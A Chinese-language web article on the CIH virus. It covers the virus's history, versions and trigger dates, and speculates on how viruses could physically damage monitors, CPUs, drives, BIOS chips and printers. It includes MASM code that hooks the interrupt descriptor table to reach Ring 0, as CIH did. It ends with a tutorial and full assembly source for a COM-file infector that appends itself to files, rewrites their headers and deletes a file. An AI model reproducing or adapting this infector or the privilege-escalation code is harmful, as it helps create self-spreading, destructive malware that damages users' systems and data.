CIH病毒是否可以破壞電腦硬件嗎

來源:文萃谷 2.75W

CIH病毒是否可以破壞電腦硬件嗎?下面請看小編娓娓道來。希望對大家有用。

CIH病毒是否可以破壞電腦硬件嗎

  CIH病毒的由來

CIH首先在台灣被發現,根據台北官方的報告,計算機病毒是由24歲的陳盈豪(Chen Ing-Halu)編制的,由於其名字第一個字母分別為C、I、H,所以這可能是計算機病毒名稱的由來。

  CIH病毒的簡介

它是迄今為止發現的最陰險的病毒之一。它發作時不僅破壞硬盤的引導區和分區表,而且破壞計算機系統flashBIOS芯片中的系統程序,導致主板損壞。CIH病毒是發現的首例直接破壞計算機系統硬件的病毒。 CIH病毒的發展歷程

  CIH病毒v1.0版本:

最初的V1.0版本僅僅只有656字節,其雛形顯得比較簡單,與普通類型的病毒在結構上並無多大的改善,其最大的"賣點"是在於其是當時為數不多的、可感染Microsoft Windows PE類可執行文件的病毒之一, 被其感染的程序文件長度增加,此版本的CIH不具有破壞性。

  CIH病毒v1.1版本:

當其發展到v1.1版本時,病毒長度為796字節,此版本的CIH病毒具有可判斷WinNT軟件的功能,一旦判斷用户運行的是WinNT,則不發生作用,進行自我隱藏,以避免產生錯誤提示信息,同時使用了更加優化的代碼,以縮減其長度。此版本的CIH另外一個優秀點在於其可以利用WIN PE類可執行文件中的"空隙",將自身根據需要分裂成幾個部分後,分別插入到PE類可執行文件中,這樣做的優點是在感染大部分WINPE類文件時, 不會導致文件長度增加。 CIH病毒v1.2版本:

當其發展到v1.2版本時,除了改正了一些v1.1版本的缺陷之外,同時增加了破壞用户硬盤以及用户主機 BIOS程序的代碼,這一改進,使其步入惡性病毒的行列,此版本的CIH病毒體長度為1003字節。

  CIH病毒v1.3版本:

原先v1.2版本的CIH病毒最大的缺陷在於當其感染ZIP自解壓包文件(ZIP self-extractors file)時,將導致此ZIP壓縮包在自解壓時出現:

WinZip Self-Extractor header corrupt.

Possible cause: disk or file transfer error.

的錯誤警告信息。v1.3版本的CIH病毒顯得比較倉促,其改進點便是針對以上缺陷的,它的改進方法是:一旦判斷開啟的文件是WinZip類的自解壓程序,則不進行感染。同時,此版本的CIH病毒修改了發作時間。v1.3 版本的CIH病毒長度為1010字節。

  CIH病毒v1.4版本:

此版本的CIH病毒改進上上幾個版本中的缺陷,不感染ZIP 自解壓包文件,同時修改了發作日期及病毒中的版權信息(版本信息被更改為:"CIH v1.4 TATUNG",在以前版本中的相關信息為"CIH v1.x TTIT"),此版本的長度為1019字節。

從上面的説明中,我們可以看出,實際上,在CIH的相關版本中,只有v1.2、v1.3、v1.4這3 個版本的病毒具有實際的破壞性,其中v1.2版本的CIH病毒發作日期為每年的4月26日,這也就是當前最流行的病毒版本,v1.3 版本的發作日期為每年的6月26日,而CIH v1.4版本的發作日期則被修改為每月的26日,這一改變大大縮短了發作期限,增加了其的破壞性。CIH的特徵和行蹤

來自權威部門的消息説,CIH是一個純粹的Windows95/98病毒,這個病毒很獨特地使用了 WindowsVxD(虛擬設備驅動程序)技術;該病毒發作時,硬盤一直轉個不停,所有數據都被破壞,硬盤分區信息也將丟失;再有就是 CIH病毒發作時也可能會破壞某些類型的主板上的電可改寫只讀存儲器(E2PROM)的BIOS。BIOS即電腦中的"基本輸入/輸出系統", 存放的是系統最基本的硬件參數和驅動程序,一旦被破壞則系統根本無法啟動,唯一的修復途徑就是送回廠家重新燒入BIOS。此時如果用户不想送回廠家"重燒",而使用BIOS升級軟件重新燒入BIOS,升級軟件將報告"E2PROM型號不對"的錯誤。這就是説, CIH病毒已具備了對硬件的相當破壞能力,它可以徹底摧毀計算機。 一般用户都知道,傳統意義上的病毒破壞的是數據而非硬件。因此,經常進行數據備份與軟件更新,能夠一定程度上防止數據文件被病毒破壞,而且即使文件被傳染病毒,也可使用反病毒軟件加以清除,至少可以盡最大可能恢復系統。防病毒專家認為,威脅到計算機硬件的 CIH的出現,意味着病毒與反病毒的技術較量已開始發生質的改變。"根據初步跟蹤分析,CIH病毒是從海外傳入內地的"北京冠羣金辰軟件有限公司反病毒專家王鐵肩介紹説: "目前該病毒的傳播主要通過互聯網和電子郵件,當然隨着時間的推移,其傳播主要還是通過軟盤或光盤。"據權威病毒蒐集網獲得的信息, CIH病毒"原體"加"變種"一共有五種,它們的相互區別在於"原體"會使受感染文件增長,但不具破壞力;而"變種"不增長受感染文件,但有很強的破壞性CIH 病毒原理的應用--物理內存的讀寫 Windows 95/98應用程序無法直接讀寫物理內存,如果使用VxD編程,可以調用VMM功能_MapPhysToLinear 將物理地址映射到線性地址再進行修改,但是這樣就必須單獨寫一個VxD,比較麻煩,那麼能不能在應用程序中直接調用VMM功能呢?一般不能,因為VMM功能要在Ring 0上調用,而一般的應用程序工作在Ring 3上,那麼為什麼CIH 病毒能夠調用VMM功能呢,CIH病毒使用了一種技術,採用Intel處理器的中斷從Ring 3轉到Ring 0,我們完全可以借鑑這種技術來調用VMM功能, 下面的程序演示瞭如何修改物理內存--以在Windows 95加密程序中修改加密扇區大小(物理地址0000:0525H)為例:

;****************************************************************************

;* Windows 95加密軟件核心模塊之一--磁盤扇區大小修改程序 *

;* *

;* 本程序在Windows 95下修改內存物理地址0000:0525 處的磁盤扇區大小字節, *

;* 為了能夠修改物理地址,本程序使用了VMM 功能_MapPhysToLinear將物理地址映射 *

;* 到線性地址進行修改。為了在應用程序中調用VMM 功能,本程序使用了CIH 病毒的 *

;* 原理,使用中斷將系統由Ring 3轉到Ring 0,然後調用VMM 功能。 *

;* 本程序中的過程ChangeSectorSize在VC中的原型可以寫成: *

;* *

;* void _stdcall ChangeSectorSize(BYTE SectorSize); *

;****************************************************************************

.386p

l flat,stdcall

;修改的中斷號,如果本中斷號改成3則可以防止Soft-ICE跟蹤!

HookExceptionNo EQU 05h

IDTR_1 db 6 dup(0) ;保存中斷描述符表寄存器

OldExceptionHook dd 0 ;保存原先的中斷入口地址

;修改扇區大小過程

ChangeSectorSize PROC SectorSize:BYTE

push eax

;獲取修改的中斷的中斷描述符(中斷門)地址

sidt IDTR_1

mov eax,dword ptr IDTR_1+02h

add eax,HookExceptionNo*08h+04h

cli

;保存原先的中斷入口地址

push ecx

mov ecx,dword ptr [eax]

mov cx,word ptr [eax-04h]

mov dword ptr OldExceptionHook,ecx

pop ecx

;設置修改的中斷入口地址為新的中斷處理程序入口地址

push ebx

lea ebx,NewExceptionHook

mov word ptr [eax-04h],bx

shr ebx,10h

mov word ptr [eax+02h],bx

pop ebx

;執行中斷,轉到Ring 0(與CIH 病毒原理相似!)

push ebx

mov bl,byte ptr SectorSize ;扇區大小保存在bl寄存器中

int HookExceptionNo

pop ebx

;恢復原先的中斷入口地址

push ecx

mov ecx,dword ptr OldExceptionHook

mov word ptr [eax-04h],cx

shr ecx,10h

mov word ptr [eax+02h],cx

pop ecx

;修改扇區大小過程結束

sti

pop eax

ret

ChangeSectorSize ENDP

;新的中斷處理程序

NewExceptionHook PROC

push eax

push ebx

push ecx

push edx

push esi

;修改扇區大小

push dword ptr 00000000h ;必須為0

push dword ptr 00000001h ;字節數

push dword ptr 00000525h ;物理地址0000:0525

int 20h

dd 0001006ch ;以上兩條指令相當於 VMMCall _MapPhysToLinear

pop esi

pop esi

pop esi

mov byte ptr [eax],bl ;修改扇區大小

;中斷處理程序結束

pop esi

pop edx

pop ecx

pop ebx

pop eax

iretd

NewExceptionHook ENDP

end

本過程可以被C語言調用,編譯方法:ml /c /coff 。請用MASM 6.11以上版本編譯,不需要DDK。將編譯生成的OBJ文件插入VC的工程中,並在VC程序中寫上函數原型説明,就可以調用了。

  病毒是怎樣破壞硬件的

最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波瀾。以前的各種病毒最多隻能破壞硬盤數據,而CIH 卻能侵入主板上的Flash BIOS,破壞其內容而使主板報廢。CIH的教訓告訴我們:不要輕視病毒對硬件的破壞。 很多人現在已經開始擔憂:CIH越來越兇猛,同時會不會有更多的破壞硬件的病毒出現?

其實,本人分析了一下。病毒破壞硬件的"手段",不外乎有以下幾種:

  1.破壞顯示器

眾所周知,每台顯示器都有自已的帶寬和最高分辨率、場頻。早期生產的14英寸彩色顯示器,帶寬大約只有35-45MHz,對應的最高分辯率為1024×768@60Hz場頻;目前的14英寸彩色顯示器,帶寬大都有60MHz,對應的最高分辨率為1024×768@75Hz場頻;15英寸彩色顯示器(高檔的),帶寬有110MHz,對應的最高分辨率為1280×1024@85Hz場頻。大家可以查看一下顯示器的説明書,上面都有場頻與最高分辨率的配合。若其中有一項超過,就會出現花屏,嚴重了就會燒壞顯示器。病毒可以通過篡改顯示參數來破壞顯示器(如把分辨率、場頻改到顯卡能支持的最高檔等)。雖然新型顯示器有DDC標準化與系統聯絡,但病毒想鑽空子並不難。所以大家如果發現在使用過程中顯示器出現了花屏, 要立即關掉顯示器的電源,重新啟動後進入安全模式再找原因。

  2.超外頻、加電壓破壞CPU、顯卡、內存等

目前新型主板採用"軟跳線"的越來越多,這正好給病毒以可乘之機。所謂"軟跳線" 是指在BIOS中就能改動CPU的電壓、外頻和倍頻。病毒可以通過改BIOS參數,加高CPU電壓使其過熱而燒壞,或提高CPU的外頻,使CPU和顯卡、內存等外設超負荷工作而過熱燒壞。這類事件的前兆就是死機。所以,如果發現機器經常死機,就要趕緊到 CMOS中看看以上參數是否有改動。可喜的是,目前很多新出的主板都有CPU温度監測功能,超温後立即降頻報警,可以基本杜絕燒壞硬件的情況發生。

  3.超"顯頻"破壞顯卡

目前很多中高檔顯卡如Voodoo等都可以手動改變其芯片的頻率,並且改的方法更簡單:在Windows 9x註冊表裏改。病毒改動了"顯頻",顯卡也就容易超負荷工作而燒壞。這種事件的前兆也是死機。所以,死機時也不要忽視對"顯頻"的檢查。另外還有一種減少燒壞顯卡的可能性的辦法,那就是……(什麼?你已經安了兩個風扇了!?)

  4.破壞光驅

光驅中的光頭在讀不到信號時就會加大激光發射功率,這樣長期下去對光驅的壽命極為不利。有人做實驗,讓正常的光驅不停的讀取一張劃痕很多,信號較弱的光盤,28小時以後光驅就完蛋了。病毒可以讓光頭走到盤片邊緣無信號區域不停的讀盤,結果光頭讀不到信號,便加大發射功率不停地讀,要不了幾天,光驅就要"No Disc"了。 所以要經常注意光驅燈的閃亮情況,判斷光驅是否在正常工作。

  5.破壞主板、顯卡的Flash BIOS

這就是現在的CIH病毒破壞主板的方式。病毒用亂碼沖掉了BIOS中的內容,使機器不能啟動。 不過現在很多主板都有帶有Flash BIOS寫保護跳線,可以有效的防止CIH病毒破壞主板。但是不要忘了,很多顯卡也有Flash BIOS, 説不定哪一天就會冒出一種破壞顯卡BIOS的病毒。所以還是小心一點為好,這可沒有什麼特效藥啊!6.破壞硬盤

大家都知道,分區、高級格式化對硬盤都沒有什麼損傷,惟獨低級格式化對硬盤的壽命有較大的影響。據説硬盤做上10次低級格式化就會報廢。如果出現一種病毒,不停的對硬盤的0磁道做低格式化(做10次最多隻需用幾秒鐘!),0道壞了再做1道……你的硬盤容量就會一點一點(這一點好不小啊!)地被蠶食,而且0、1、2……道壞了,要想再使用該硬盤,就得在BIOS中重新設定起始磁道,再低級格式化,非常麻煩。其實,該病毒有一個非常簡單而有效的預防方法,那就是將BIOS中的Boot Sector Virus Protection(引導區病毒寫保護)設為Enable(打開)。筆者做過實驗,將上述開關打開的情況下,使用各種低級格式化軟件(包括BIOS中自帶的)對硬盤進行低格,BIOS都會報警(報告説有程序企圖重寫引導區,問是否繼續),按N就可以防止。要知道BIOS程序掌管着系統的最高控制權, 應該沒有什麼東西可以衝破其防線(你按Y是另外一回事)。若發現上述情況,趕緊Reset,然後進行殺毒不過,如果你是在裝Win 98等操作系統或System Commander等軟件時碰到該情況,就大可不必理會它,困為這些軟件安裝時都有要重寫引導區。不過勸你安裝這些軟件時最好先把寫保護關掉,否則容易出現死機現象!

7.浪費噴墨打印機的墨水噴墨打印機的噴頭特別容易堵塞,為此打印機公司特別發明了專門浪費墨水的"清洗噴頭"功能,即讓大量墨水衝出噴頭,清除雜物。這項功能可以用軟件控制實現,於是乎病毒便神不知鬼不覺的一次次調用該功能,而你卻對打印機的呻吟聲卻聽而不見。當你發現時,大量的墨已經被浪費了。這種病毒唯一的預防辦法就是……不用打印機時把打印機關了。

其實,只要你常注意一下打印機上的模式燈就可以了,清洗噴頭時它通常是一閃閃的。另外還要仔細傾聽它的呻吟聲,清洗噴頭時打印頭總是要來回走動幾下的(為了加熱)。 一口氣寫了7條,其實大家心裏明白,破壞硬件的歪點子多着呢!本文只是想為剛從CIH陰影中爬出的朋友提個醒:成功之路千萬條(當然是編病毒者的成功),打死CIH,還有後來者。千萬要發揚各種精神, 保護你的血汗錢築成的電腦!

另外,本文中幾乎每一條都有附預防辦法(雖然有些看起來像廢話),但這些辦法也不是萬能的(還要注意不能顧此失彼),以後誰的"雞"若被新病毒搞壞了,我可不負責任喲! CIH是使用什麼方法進行感染的? 就技巧而言,其原理主要是使用Windows的VxD(虛擬設備驅動程序)編程方法,使用這一方法的.目的是獲取高的CPU權限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中斷描述符表基地址),然後把IDT的INT 3的入口地址改為指向CIH自己的INT3程序入口部分,再利用自己產生一個INT 3指令運行至此CIH自身的INT 3入口程序 出,這樣CIH病毒就可以獲得最高級別的權限(即權限0),接着病毒將檢查DR0寄存器的值是否為0,用以判斷先前是否有CIH病毒已經駐留。

如DR0的值不為0,則表示CIH病毒程式已駐留,則此CIH副本將恢復原先的INT 3入口,然後正常退出(這一特點也可以被我們利用來欺騙CIH程序,以防止它駐留在內存中,但是應當防止其可能的後繼派生版本)。

如果判斷DR0值為0,則CIH病毒將嘗試進行駐留,其首先將當前EBX寄存器的值賦給DR0寄存器,以生成駐留標記,然後調用INT 20中斷,使用VxD call Page Allocate系統調用,要求分配Windows系統內存(system memory),Windows系統內存地址範圍為C0000000h~FFFFFFFFh,它是用來存放所有的虛擬驅動程序的內存區域, 如果程序想長期駐留在內存中,則必須申請到此區段內的內存,即申請到影射地址空間在C0000000h以上的內存。

如果內存申請成功,則接着將從被感染文件中將原先分成多段的病毒代碼收集起來,並進行組合後放到申請到 的內存空間中,完成組合、放置過程後,CIH病毒將再次調用INT 3中斷進入CIH病毒體的INT 3入口程序,接着調用INT20來完成調用一個IFSMgr_InstallFileSystemApiHook的子程序,用來在文件系統處理函數中掛接鈎子,以截取文件調用的操作,接着修改IFSMgr_InstallFileSystemApiHook的入口,這樣就完成了掛接鈎子的工作,同時Windows默認的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。

服務程序的入口地址將被保留,以便於CIH病毒調用,這樣,一旦出現要求開啟文件的調用,則CIH將在第一時間截獲此文件,並判斷此文件是否為PE格式的可執行文件,如果是,則感染,如果不是,則放過去,將調用轉接給正常的Windows IFSMgr_IO服務程序。CIH不會重複多次地感染PE格式文件,同時可執行文件的只讀屬性是否有效,不影響感染過程,感染文件後,文件的日期與時間信息將保持不變。

對於絕大多數的PE程序,其被感染後,程序的長度也將保持不變,CIH 將會把自身分成多段,插入到程序的空域中。完成駐留工作後的CIH病毒將把原先的IDT中斷表中的INT 3入口恢復成原樣。病毒的編寫是一種高深技術,真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性。現在的病毒種類也不少,如平常的傳染可執行文件的病毒、宏病毒等等。但原始的、破壞性最大的病毒還是傳染可執行文件的病毒(像CIH病毒),而這些病毒一般都是用匯編語言編寫的。有許多人對病毒有着好奇和嚮往,但是往往又因為彙編語言的難學等問題望而卻步。

這篇文章就是教給大家如何製作一個簡單的程序,這個程序雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。

好啦,現在轉入正題,先講講病毒是如何傳染的,傳染後又如何在被染的文件中執行的,其實道理非常簡單:病毒一般將其代碼寫入執行文件的尾部,然後使執行文件在執行時先執行文件尾部的病毒代碼,然後再跳回原代碼處執行。現在舉一個試例進行説明:

;功能:感染當前文件夾的文件

; 並刪除當前文件夾的文件

; 顯示預設的字符串

CSEG SEGMENT

ASSUME CS:CSEG,DS:CSEG,SS:CSEG

main PROC NEAR

mainstart:

CALL vstart ;病毒的代碼開始處

vstart:

POP SI ;得到當前地址

MOV BP,SI ;保存當前地址

PUSH SI

MOV AH,9

ADD SI,OFFSET message-OFFSET vstart ;顯示預設字符串

MOV DX,SI

INT 21h

POP SI

ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個字節

MOV DI,100h ;目的地址

MOV AX,DS:[SI] ;開始複製

MOV DS:[DI],AX

INC SI

INC SI

INC DI

INC DI

MOV AX,DS:[SI]

MOV DS:[DI],AX

MOV SI,BP ;恢復地址值

MOV DX,OFFSET delname-OFFSET vstart

ADD DX,SI

MOV AH,41h

INT 21h

MOV DX,OFFSET filename-OFFSET vstart ;得到文件名

ADD DX,SI

MOV AL,02

MOV AH,3dh ;寫文件

INT 21h

JC error

MOV BX,AX ;文件句柄

MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個字節

ADD DX,SI

MOV CX,4

MOV AH,3fh

INT 21h

MOV AX,4202h ;到文件尾

XOR CX,CX

XOR DX,DX

INT 21h

MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方

ADD DI,2

ADD DI,SI

SUB AX,4

MOV DS:[DI],AX

ADD SI,OFFSET mainstart-OFFSET vstart ;準備寫入病毒

MOV DX,SI

MOV vsizes,OFFSET vends-OFFSET mainstart

MOV CX,vsizes

MOV AH,40h

INT 21h

MOV SI,BP ;定位到文件頭

MOV AL,0

XOR CX,CX

XOR DX,DX

MOV AH,42h

INT 21h

MOV AH,40h ;將新的文件頭寫入

MOV CX,4

MOV DX,OFFSET new4byte-OFFSET vstart

ADD DX,SI

INT 21h

MOV AH,3eh ;關閉文件

INT 21h

error:

MOV AX,100h

PUSH AX

RET

main ENDP

yuan4byte:

RET

DB 3 DUP (?)

vsizes DW 0

new4byte DB ‘M‘,0e9h,0,0

filename DB "",0

delname DB "",0

message DB "He he he he!"

DB 0dh,0ah,"$"

vends:

start:

MOV AX,CSEG

MOV DS,AX

MOV SS,AX

CALL main

MOV AX,4c00h

INT 21h

CSEG ENDS

END start

以上就是一個簡單的可以傳染COM文件的程序代碼, 也是想當初我所做的具有傳染性質的第一個程序。如何???不難吧。COM文件執行時將COM文件內所的所有內容COPY到內存, 起始地址是100,然後進行執行 沒有任何有關節啦、段啦這些屬性,所以COM文件病毒是最簡單最簡單的病毒

熱門標籤